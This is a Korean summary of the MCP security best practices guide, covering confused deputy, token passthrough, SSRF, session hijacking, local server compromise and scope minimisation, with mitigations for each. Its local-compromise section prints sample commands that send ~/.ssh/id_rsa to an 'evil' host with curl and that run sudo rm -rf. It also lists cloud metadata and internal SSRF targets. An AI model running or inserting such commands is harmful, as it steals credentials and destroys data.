MCP 보안 모범 사례
원문: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices
이 문서는 MCP 구현에서 고려해야 할 보안 위험, 공격 벡터, 대응 방안을 정리한 가이드입니다.
특히 MCP Authorization 규격을 보완하는 문서로, Authorization 흐름을 구현하는 개발자,
MCP 서버 운영자, 그리고 보안 검토 담당자를 주요 독자로 상정합니다.
1. Confused Deputy 문제
MCP 프록시 서버가 제3자 API와 연결될 때, 정적 client ID와 동적 클라이언트 등록,
그리고 동의 쿠키가 결합되면 사용자의 명시적 동의 없이 authorization code가 탈취될 수 있습니다.
취약 조건
- MCP 프록시 서버가 제3자 Authorization Server와 통신할 때 정적 client ID를 사용함
- MCP 클라이언트가 동적으로 등록될 수 있음
- 제3자 Authorization Server가 최초 승인 후 동의 쿠키를 저장함
- MCP 서버가 제3자 승인 전에 클라이언트별 동의를 별도로 확인하지 않음
대응 방안
- 사용자별로 승인된
client_id 목록을 서버 측에 안전하게 저장
- 동의 화면에 요청 클라이언트 이름, 요청 scope, 등록된
redirect_uri를 명확히 표시
- CSRF 방어와 클릭재킹 방어를 구현
- 동의 쿠키는
__Host- prefix, Secure, HttpOnly, SameSite=Lax 등을 사용할 것
redirect_uri는 정확히 일치하는지 검증하고 와일드카드 매칭을 허용하지 말 것
state 값은 안전하게 생성하고, 동의 후에만 저장하며, 짧은 만료와 일회성 사용을 보장할 것
2. Token Passthrough 금지
Token passthrough는 MCP 서버가 자신을 위한 토큰이 아닌, 클라이언트가 가져온 토큰을 검증 없이 받아
하위 API에 그대로 전달하는 반패턴입니다. 이는 MCP Authorization 규격에서 명시적으로 금지됩니다.
위험
- 하위 API 또는 MCP 서버의 rate limiting, 감사, 요청 검증 같은 보안 통제를 우회할 수 있음
- 누가 어떤 요청을 보냈는지 추적하기 어려워짐
- 토큰 audience나 권한 검증이 약해져 데이터 유출 경로가 생김
- 나중에 보안 정책을 강화하기 어려워짐
대응 방안
MCP 서버는 자신에게 명시적으로 발급된 토큰만 수용해야 합니다.
3. SSRF(Server-Side Request Forgery)
OAuth 메타데이터 탐색 과정에서 MCP 클라이언트가 악의적인 서버가 제공한 URL을 그대로 요청하면,
내부망 자원, 클라우드 메타데이터 엔드포인트, 로컬 서비스 등 의도하지 않은 대상에 접근할 수 있습니다.
공격 예시
192.168.x.x, 10.x.x.x 같은 내부망 주소 접근
169.254.169.254 같은 클라우드 메타데이터 엔드포인트 접근
localhost 기반 데이터베이스나 관리 포트 접근
- DNS rebinding 또는 리다이렉트 체인 악용
대응 방안
- 운영 환경에서는 OAuth 관련 URL에 HTTPS를 강제
- 사설 IP, loopback, link-local, 예약 대역 접근을 차단
- 리다이렉트 대상에도 동일한 검증을 적용
- 서버 측 MCP 클라이언트라면 egress proxy나 네트워크 정책으로 outbound 요청을 제한
- DNS 검증과 실제 요청 시점 사이의 TOCTOU 문제를 고려
직접 IP 파서를 구현하지 말고, 잘 검증된 URL/IP 검증 도구를 사용하는 편이 안전합니다.
4. Session Hijacking
상태를 유지하는 HTTP 서버 환경에서는 공격자가 세션 ID를 탈취해 다른 사용자를 가장하거나,
공유 큐나 재전송 메커니즘을 악용해 악성 이벤트를 주입할 수 있습니다.
대응 방안
- Authorization을 구현한 MCP 서버는 모든 inbound 요청을 검증해야 함
- 세션을 인증 수단으로 사용하지 말 것
- 세션 ID는 예측 불가능한 안전한 난수로 생성할 것
- 세션 ID를 사용자 고유 정보와 함께 바인딩해 저장할 것
- 세션 ID의 회전과 만료를 지원할 것
5. 로컬 MCP 서버 손상(Local MCP Server Compromise)
로컬 MCP 서버는 사용자 컴퓨터에서 직접 실행되므로, 악성 시작 명령이나 악성 서버 바이너리를 통해
임의 코드 실행, 데이터 유출, 데이터 손실 같은 심각한 문제가 발생할 수 있습니다.
# 데이터 유출 예시
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# 권한 상승 / 파괴적 명령 예시
sudo rm -rf /important/system/files && echo "MCP server installed!"
대응 방안
- 원클릭 설정을 지원한다면 실제 실행될 전체 명령을 숨김 없이 보여줄 것
- 사용자 시스템에서 코드가 실행된다는 점을 명확히 경고할 것
- 명시적 승인 없이 실행하지 말 것
sudo, rm -rf, 네트워크 작업, 민감 경로 접근 같은 위험 패턴을 강조 표시할 것
- 가능하면 샌드박스 환경에서 최소 권한으로 실행할 것
- 로컬 HTTP 서버를 쓴다면 authorization token 또는 제한된 IPC 메커니즘을 활용할 것
- 가능하면
stdio 전송으로 클라이언트와 직접 연결할 것
6. Scope 최소화
지나치게 넓은 scope 설계는 토큰 탈취 시 피해 범위를 크게 늘리고,
감사 추적을 어렵게 하며, 사용자 동의 흐름도 불필요하게 복잡하게 만듭니다.
위험
- 탈취된 토큰 하나로 여러 리소스와 관리 기능에 접근 가능
- 권한 철회 시 전체 기능이 함께 끊겨 운용이 어려움
- 어떤 목적으로 접근했는지 감사 로그 해석이 어려움
- 사용자가 과도한 동의 화면을 보고 승인을 포기할 수 있음
권장 방식
- 읽기/탐색 위주의 최소 baseline scope로 시작
- 고권한 작업은 필요 시점에만 추가 scope를 요청
- 서버는 필요한 scope만 정밀하게 챌린지할 것
- 클라이언트는 기본적으로 최소 scope만 요청할 것
흔한 실수
scopes_supported에 가능한 모든 scope를 노출
*, all, full-access 같은 포괄적 scope 사용
- 미래 사용 가능성을 이유로 권한을 한꺼번에 묶어 요청
- 토큰에 scope가 있다는 이유만으로 서버 측 권한 검사를 생략
핵심 정리
MCP 보안은 단순히 OAuth를 붙이는 것으로 끝나지 않습니다. 토큰 audience 검증, 최소 권한 scope,
SSRF 방어, 세션 안전성, 로컬 실행 동의 같은 경계 조건까지 함께 설계해야 합니다.
- 클라이언트별 동의를 구현하고
redirect_uri, state를 엄격히 검증할 것
- 토큰 passthrough를 금지하고 서버 자신을 위한 토큰만 받을 것
- OAuth 관련 URL 조회 시 SSRF 방어를 넣을 것
- 세션 ID를 인증 수단으로 취급하지 말 것
- 로컬 MCP 서버 실행 전에는 사용자 동의와 명확한 경고를 제공할 것
- scope는 항상 최소 권한으로 설계할 것
참고 자료